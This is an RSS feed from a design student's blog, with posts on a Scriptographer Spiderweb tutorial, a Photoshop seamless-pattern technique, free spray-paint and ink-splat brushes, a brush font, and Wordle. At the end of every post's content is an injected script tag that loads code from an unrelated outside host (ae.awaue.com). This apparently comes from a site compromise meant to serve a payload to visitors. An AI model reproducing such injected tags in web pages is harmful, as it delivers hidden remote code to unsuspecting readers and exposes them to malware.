<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Upside Down City &#187; Featured</title>
	<atom:link href="http://www.upsidedowncity.net/category/featured/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.upsidedowncity.net</link>
	<description>journal of a design student</description>
	<lastBuildDate>Mon, 09 Mar 2009 02:17:43 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Scriptographer &#8211; Spiderweb</title>
		<link>http://www.upsidedowncity.net/scriptographer-spiderweb/</link>
		<comments>http://www.upsidedowncity.net/scriptographer-spiderweb/#comments</comments>
		<pubDate>Thu, 18 Sep 2008 19:00:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Illustrator]]></category>
		<category><![CDATA[scriptographer]]></category>
		<category><![CDATA[tutorials]]></category>

		<guid isPermaLink="false">http://www.upsidedowncity.net/?p=206</guid>
		<description><![CDATA[So I know I promised more Scriptographer tutorials and here is another one. Spiderweb gets its name from the patterns it turns ordinary paths into. You can check out the instructions for installing Scriptographer and Spiderweb script here.
To start out make a simple shape in Illustrator, like a circle or a square. I&#8217;m using a [...]]]></description>
			<content:encoded><![CDATA[<p>So I know I promised more <a title="Scriptographer" href="http://www.scriptographer.com/" target="_blank">Scriptographer</a> tutorials and here is another one. Spiderweb gets its name from the patterns it turns ordinary paths into. You can check out the instructions for installing Scriptographer and Spiderweb script here.</p>
<div id="attachment_211" class="wp-caption aligncenter" style="width: 410px"><img class="size-medium wp-image-211" title="Make a Shape for Spideweb" src="http://www.upsidedowncity.net/wp-content/uploads/2008/09/make-a-shape-400x410.jpg" alt="" width="400" height="410" /><p class="wp-caption-text">Make a shape like a square or circle.</p></div>
<p>To start out make a simple shape in Illustrator, like a circle or a square. I&#8217;m using a circle with a 1pt black line.</p>
<div id="attachment_210" class="wp-caption aligncenter" style="width: 239px"><img class="size-medium wp-image-210" title="select-and-run-spiderweb" src="http://www.upsidedowncity.net/wp-content/uploads/2008/09/select-and-run-spiderweb.jpg" alt="Next select and run Spiderweb from the Scritpographer Console." width="229" height="319" /><p class="wp-caption-text">Next select and run Spiderweb from the Scritpographer Console.</p></div>
<p>Just like the last tutorial select and run Spiderweb. If you can find the Scriptographer window just go up to Window &gt; Scriptographer &gt; Main and it should pop up.</p>
<div id="attachment_208" class="wp-caption aligncenter" style="width: 250px"><a href="http://www.upsidedowncity.net/wp-content/uploads/2008/09/options.jpg"><img class="size-medium wp-image-208" title="spiderweb-options" src="http://www.upsidedowncity.net/wp-content/uploads/2008/09/options.jpg" alt="The Spiderweb options panel" width="240" height="240" /></a><p class="wp-caption-text">The Spiderweb options panel</p></div>
<p>after running hte script you should see this options panel. Here is a breakdown on the options</p>
<ul>
<li>point distance : This is the distance between the starting spots of the &#8220;strands&#8221; of the web.</li>
<li>use curves : If this is checked the &#8220;strands&#8221; will be curved like in the thumbnail for this post</li>
<li>Remove original path : If this is checked the original path that you created back at the start will disappear</li>
<li>use random stroke width : if checked this will generate random widths for all the strands between the min and max width.</li>
<li>minimum stroke width : the minimum width of strokes if the random stroke widths box is checked</li>
<li>maximum stroke width : the maximum width of strokes if the random stroke widths box is checked</li>
</ul>
<p>once  you get your options set click &#8220;ok&#8221; and watch the web generate.</p>
<div id="attachment_207" class="wp-caption aligncenter" style="width: 268px"><img class="size-medium wp-image-207" title="Spiderweb" src="http://www.upsidedowncity.net/wp-content/uploads/2008/09/preview.jpg" alt="Spiderweb" width="258" height="261" /><p class="wp-caption-text">Spiderweb</p></div>
<p>As you can see I used curves and random stroke widths. You can just expand the shape once you are done to alter the individual lines by going to Object &gt; Expand.</p>
<p>Have fun!</p>
<p>Look for another Scriptographer tut next sometime next week.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.upsidedowncity.net/scriptographer-spiderweb/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>2 Step Seamless patterns</title>
		<link>http://www.upsidedowncity.net/2-step-seamless-patterns/</link>
		<comments>http://www.upsidedowncity.net/2-step-seamless-patterns/#comments</comments>
		<pubDate>Mon, 15 Sep 2008 21:00:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Freebies]]></category>
		<category><![CDATA[Photoshop]]></category>
		<category><![CDATA[patterns]]></category>
		<category><![CDATA[tutorials]]></category>

		<guid isPermaLink="false">http://www.upsidedowncity.net/?p=187</guid>
		<description><![CDATA[This is a cool technique I used last week to make an easy seamless pattern for a web mock up I was working on. I end up not using the pattern in the site but the technique I used to make it was pretty interesting.
Step 1 : Offset the image to be patterned by half [...]]]></description>
			<content:encoded><![CDATA[<p>This is a cool technique I used last week to make an easy seamless pattern for a web mock up I was working on. I end up not using the pattern in the site but the technique I used to make it was pretty interesting.</p>
<p>Step 1 : Offset the image to be patterned by half the width and height of the image.</p>
<p>Step 2: The border parts of the pattern will now tile properly and the edges of the image are now in the center. So go in with the patch and clone stamp tools to clean the image up to make a perfect tiling image.</p>
<h2>Detailed Explanation</h2>
<div id="attachment_194" class="wp-caption aligncenter" style="width: 410px"><img class="size-medium wp-image-194" title="Starter Image" src="http://www.upsidedowncity.net/wp-content/uploads/2008/09/1-make-an-image1-400x289.jpg" alt="Create an image to start out with. In useing a 3000x3000 square." width="400" height="289" /><p class="wp-caption-text">Create an image to start out with. In using a 3000x3000 square.</p></div>
<p>To start with I made a 3000&#215;3000 image you can use whatever size you want but it should divide evenly in half. To make these I used <a title="Artistic Brushes for Photoshop" href="http://pelicanosypescados.blogspot.com/2008/03/artistic-brushes-para-photoshop-free.html" target="_self">these</a> artistic brushes from <a title="Alex Dukal" href="http://pelicanosypescados.blogspot.com/" target="_self">Alex Dukal</a>.</p>
<div id="attachment_193" class="wp-caption aligncenter" style="width: 343px"><img class="size-medium wp-image-193" title="Filter Offset" src="http://www.upsidedowncity.net/wp-content/uploads/2008/09/3-filter-offset1.jpg" alt="" width="333" height="523" /><p class="wp-caption-text">Open up the offset filter.</p></div>
<p>Open up the offset filter from the &#8220;Other&#8221; part of the filter menu.</p>
<div id="attachment_189" class="wp-caption aligncenter" style="width: 410px"><img class="size-medium wp-image-189" title="Offset Setings" src="http://www.upsidedowncity.net/wp-content/uploads/2008/09/4-filter-offset-21-400x313.jpg" alt="Enter half your documents width and height for the Horizontal and Vertical offset." width="400" height="313" /><p class="wp-caption-text">Enter half your documents width and height for the Horizontal and Vertical offset.</p></div>
<p>Use image size to find half your images width and height to enter for the values in vertical and horizontal offset.</p>
<div id="attachment_198" class="wp-caption aligncenter" style="width: 410px"><img class="size-medium wp-image-198" title="After Offset" src="http://www.upsidedowncity.net/wp-content/uploads/2008/09/5-post-offset1-400x400.jpg" alt="After the offset filter has been applied" width="400" height="400" /><p class="wp-caption-text">After the offset filter has been applied</p></div>
<p>You can now see that what was the four corners of the image are not aligned across the center and the edges will now tile perfectly.</p>
<div id="attachment_196" class="wp-caption aligncenter" style="width: 410px"><img class="size-medium wp-image-196" title="First Patch" src="http://www.upsidedowncity.net/wp-content/uploads/2008/09/6-patch-start1-400x385.jpg" alt="Zoom into one of the edges and use the patch toll to remove it." width="400" height="385" /><p class="wp-caption-text">Zoom into one of the edges and use the patch toll to remove it.</p></div>
<p>Next grab the patch tool and select and area close to the edge where a line is visbile try to taper the shape so that you select as few pixels along the edge as possible. Also select a wide area around the edge so that the patch tool has something extra to blend.</p>
<div id="attachment_195" class="wp-caption aligncenter" style="width: 410px"><img class="size-medium wp-image-195" title="Drag the Patch Tool" src="http://www.upsidedowncity.net/wp-content/uploads/2008/09/8-patch-tool-drag1-400x303.jpg" alt="Drag the patch to cover the edge with a new area and erase the hard edge." width="400" height="303" /><p class="wp-caption-text">Drag the patch to cover the edge with a new area and erase the hard edge.</p></div>
<p>After you have a good selection drag the patch tool to cover the edge with a new area. Once you release the mouse the edge should look like the the image below.</p>
<div id="attachment_191" class="wp-caption aligncenter" style="width: 366px"><img class="size-medium wp-image-191" title="After the patch tool" src="http://www.upsidedowncity.net/wp-content/uploads/2008/09/7-post-patch1.jpg" alt="Image after the patch tool." width="356" height="338" /><p class="wp-caption-text">Image after the patch tool.</p></div>
<p>Now you can see that the patch tool has fixed the hard edge by blending pixels from the area you specify with the pixels from the destination area. You can also use the clone tool to make adjustments and clear out the hard edges. Once you get the hard edges its time to test the image.</p>
<div id="attachment_190" class="wp-caption aligncenter" style="width: 232px"><img class="size-medium wp-image-190" title="Define Pattern" src="http://www.upsidedowncity.net/wp-content/uploads/2008/09/9-edit-define-pattern1-222x600.jpg" alt="Now define a a pattern from the edit menu." width="222" height="600" /><p class="wp-caption-text">Now define a a pattern from the edit menu.</p></div>
<p>Now that you have fixed all the hard edges with the patch or clone tool Select All and go to Edit &gt; Define Pattern, name your pattern and hit ok.</p>
<div id="attachment_188" class="wp-caption aligncenter" style="width: 150px"><img class="size-medium wp-image-188" title="Make Pattern Layer" src="http://www.upsidedowncity.net/wp-content/uploads/2008/09/10-make_pattern_layer1.jpg" alt="Now mkae a new pattern layer from the bottom of the layer palatte." width="140" height="286" /><p class="wp-caption-text">Now make a new pattern layer from the bottom of the layer palate.</p></div>
<p>Once you make a new pattern layer just set the scale down a little and check your edges and then go back and fix problem areas and check again. You can Add to your pattern just as long as nothing gets cut off by an edge.</p>
<div id="attachment_197" class="wp-caption aligncenter" style="width: 410px"><img class="size-medium wp-image-197" title="Pattern layer options" src="http://www.upsidedowncity.net/wp-content/uploads/2008/09/1-fill-with-pattern11-400x236.jpg" alt="Just set the scale down and check your edges." width="400" height="236" /><p class="wp-caption-text">Just set the scale down and check your edges.</p></div>
<p>That was it now to have a simple pattern layer that you can use for web or print and a quick technique to make more.</p>
<div id="attachment_192" class="wp-caption aligncenter" style="width: 410px"><img class="size-medium wp-image-192" title="Final Pattern" src="http://www.upsidedowncity.net/wp-content/uploads/2008/09/12-final-pattern1-400x400.jpg" alt="Final Pattern made with the offset filter." width="400" height="400" /><p class="wp-caption-text">Final Pattern made with the offset filter.</p></div>
<p>Easy Seamless pattern. HOORAY!<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.upsidedowncity.net/2-step-seamless-patterns/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>15 hi-res spray paint brushes</title>
		<link>http://www.upsidedowncity.net/15-hi-res-spray-paint-brushes/</link>
		<comments>http://www.upsidedowncity.net/15-hi-res-spray-paint-brushes/#comments</comments>
		<pubDate>Fri, 01 Aug 2008 04:16:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Freebies]]></category>
		<category><![CDATA[Photoshop]]></category>
		<category><![CDATA[brushes]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[spray paint]]></category>

		<guid isPermaLink="false">http://www.upsidedowncity.net/?p=44</guid>
		<description><![CDATA[A few days ago i made these brushes for the new theme I&#8217;m working on. There are a lot of spray paint brushes out there GoMedia has a set and Blog.Spoon Graphics has a pair of sets out. But I wanted some more variety so I went out and made these. Enjoy.
Includes 15 Hi-Res Spray [...]]]></description>
			<content:encoded><![CDATA[<p>A few days ago i made these brushes for the new theme I&#8217;m working on. There are a lot of spray paint brushes out there GoMedia has a set and Blog.Spoon Graphics has a pair of sets out. But I wanted some more variety so I went out and made these. Enjoy.</p>
<p><a href="http://www.upsidedowncity.net/wp-content/uploads/2008/07/spray-paint-brushes.zip" class="download">Includes 15 Hi-Res Spray Paint Brushes</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.upsidedowncity.net/15-hi-res-spray-paint-brushes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Free Grungy Brush font</title>
		<link>http://www.upsidedowncity.net/free-grungy-brush-font/</link>
		<comments>http://www.upsidedowncity.net/free-grungy-brush-font/#comments</comments>
		<pubDate>Sat, 12 Jul 2008 22:28:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[Freebies]]></category>
		<category><![CDATA[font]]></category>
		<category><![CDATA[typography]]></category>

		<guid isPermaLink="false">http://www.upsidedowncity.net/?p=41</guid>
		<description><![CDATA[So now after quite a lot of work the brush font I have been making is up for grabs this was a quite a nice exercise to get used to Scanfont and Typetool.
Download Now
]]></description>
			<content:encoded><![CDATA[<p>So now after quite a lot of work the brush font I have been making is up for grabs this was a quite a nice exercise to get used to <a title="Fontlab" href="http://www.fontlab.com/">Scanfont</a> and <a title="Fontlab" href="http://www.fontlab.com/">Typetool</a>.</p>
<p><a href="http://www.upsidedowncity.net/wp-content/uploads/2008/07/trashbrush.zip">Download Now</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.upsidedowncity.net/free-grungy-brush-font/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Pretty Tag Clouds w/ Wordle</title>
		<link>http://www.upsidedowncity.net/gourgeous-tag-clouds-with-wordle/</link>
		<comments>http://www.upsidedowncity.net/gourgeous-tag-clouds-with-wordle/#comments</comments>
		<pubDate>Sat, 28 Jun 2008 19:47:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[Links]]></category>
		<category><![CDATA[beautiful]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[tag clouds]]></category>

		<guid isPermaLink="false">http://www.upsidedowncity.net/?p=30</guid>
		<description><![CDATA[I found Wordle a few days ago and have been entranced with it ever since. It simply generates some of the best looking tag clouds i have ever seen.
All in all, Wordle generates some great clouds  and its free to use and there are very few restriction just a CC Attribution to link back [...]]]></description>
			<content:encoded><![CDATA[<p>I found <a title="Wordle" href="http://wordle.net" target="_blank">Wordle</a> a few days ago and have been entranced with it ever since. It simply generates some of the best looking tag clouds i have ever seen.</p>
<p>All in all, Wordle generates some great clouds  and its free to use and there are very few restriction just a CC Attribution to link back to Wordle. Oh and did i mention you can get printable PDFs? And there are lots of color options and fonts? <a title="Wordle" href="http://wordle.net" target="_blank">Visit it.</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.upsidedowncity.net/gourgeous-tag-clouds-with-wordle/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>9 hi-res ink splats</title>
		<link>http://www.upsidedowncity.net/freebie-ink-splat/</link>
		<comments>http://www.upsidedowncity.net/freebie-ink-splat/#comments</comments>
		<pubDate>Sat, 28 Jun 2008 00:00:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Freebies]]></category>
		<category><![CDATA[Photoshop]]></category>
		<category><![CDATA[freebie]]></category>
		<category><![CDATA[ink]]></category>

		<guid isPermaLink="false">http://www.upsidedowncity.net/?p=27</guid>
		<description><![CDATA[Here it is 9 Quality Ink Splat Brushes for Photoshop. Scanned from real ink and paper then photoshop&#8217;ed and made into a nice set of brushes. Like everything else here free to use for personal and commercial work. But I do always appreciate links and thanks.
Includes 9 Hi-Res Ink Splats
]]></description>
			<content:encoded><![CDATA[<p>Here it is 9 Quality Ink Splat Brushes for Photoshop. Scanned from real ink and paper then photoshop&#8217;ed and made into a nice set of brushes. Like everything else here free to use for personal and commercial work. But I do always appreciate links and thanks.</p>
<p><a href="http://www.upsidedowncity.net/wp-content/uploads/2008/06/ink-splat-brushesabr.zip" class="download">Includes 9 Hi-Res Ink Splats</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.upsidedowncity.net/freebie-ink-splat/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
